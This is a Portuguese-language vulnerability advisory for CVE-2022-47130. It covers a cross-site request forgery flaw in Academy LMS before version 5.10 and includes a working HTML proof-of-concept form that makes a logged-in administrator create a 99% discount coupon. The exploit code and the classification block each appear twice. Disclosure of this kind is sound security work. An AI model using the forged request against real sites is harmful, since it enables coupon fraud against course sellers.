Academy LMS < 5.10 Permite Cupom de Desconto via CSRF

/

Descrição

O Academy LMS é uma aplicação onde pessoas conseguem criar e anunciar cursos. O recurso de adicionar um cupom está vulnerável a CSRF, pois não há nenhuma token que faz com que esse ataque seja evitado.

Prova de Conceito (POC)

O primeiro passo para a nossa prova de conceito é autenticar na plataforma com usuário administrativo.

Use Imagem 1

Após isso, basta acessar a página que contém o código para a exploração da vulnerabilidade, confira que um novo cupom foi criado de forma automática.

Use Imagem 2

Código usado na exploração:

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://target.com/admin/coupons/add" method="POST">
      <input type="hidden" name="code" value="vinix" />
      <input type="hidden" name="discount&#95;percentage" value="99" />
      <input type="hidden" name="expiry&#95;date" value="12&#47;11&#47;2022" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://target.com/admin/coupons/add" method="POST">
      <input type="hidden" name="code" value="vinix" />
      <input type="hidden" name="discount&#95;percentage" value="99" />
      <input type="hidden" name="expiry&#95;date" value="12&#47;11&#47;2022" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Versões Afetadas

Academy LMS - < 5.10

Pesquisador

Classificação

Type: Cross-Site Request Forgery
OWASP TOP 10: A01:2021 - Broken Access Control
CWE: CWE-352: Cross-Site Request Forgery (CSRF)
Type: Cross-Site Request Forgery
OWASP TOP 10: A01:2021 - Broken Access Control
CWE: CWE-352: Cross-Site Request Forgery (CSRF)

CVE

CVE-2022-47130

Referencias

Edit on GitHub